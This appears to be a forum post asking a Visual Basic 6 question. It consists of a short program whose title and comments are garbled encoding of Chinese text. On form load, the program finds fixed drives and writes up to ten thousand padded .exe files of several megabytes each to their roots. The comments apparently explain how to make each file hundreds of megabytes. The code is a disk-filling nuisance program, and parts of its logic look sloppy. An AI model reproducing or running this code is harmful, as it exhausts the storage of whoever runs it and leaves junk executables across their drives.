VB ÎÊÌâ - VB / »ù´¡Àà

Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Sub Form_Load()
  Label1.Caption = ""
  Dim X As Integer, I As Integer, R As String, h As Integer, str As String, J As Integer
  X = 0
  I = 67
  J = 1
  Do While X <> 1
  X = GetDriveType(Chr(I) + ":")
  If X = 3 Then
  R = Chr(I)
  Label1.Caption = Label1.Caption & R
  End If
  I = I + 1
   
   
   
   
   
  For J = 1 To 100
   
  For h = 1 To 100
   
  str = Left(R, J)
   
   
Open str + ":\file" + CStr(h) + ".exe" For Random As 1
DoEvents
Put #1, 300000, "file"

  '×¢ÊÍ: ÕâÀïµÄÕâ¸ö30000ÊÇ¿ØÖÆÉú³ÉÎļþ´óСµÄ?
  ' ×¢ÊÍ£º30000²úÉúµÄÎļþ´óСÊÇ3.6M×óÓÒ
  ' ×¢ÊÍ£º10000²úÉúµÄÎļþ´óСÊÇ1.2M×óÓÒ
  ' ×¢ÊÍ£ºÈç¹ûÄã¸ÄΪ3000000µÄ»°£¬ÄǾÍÊÇ360M£¬²»ÒªÌ«»µÅ¶£¡


Close #1

Next

Next

  Loop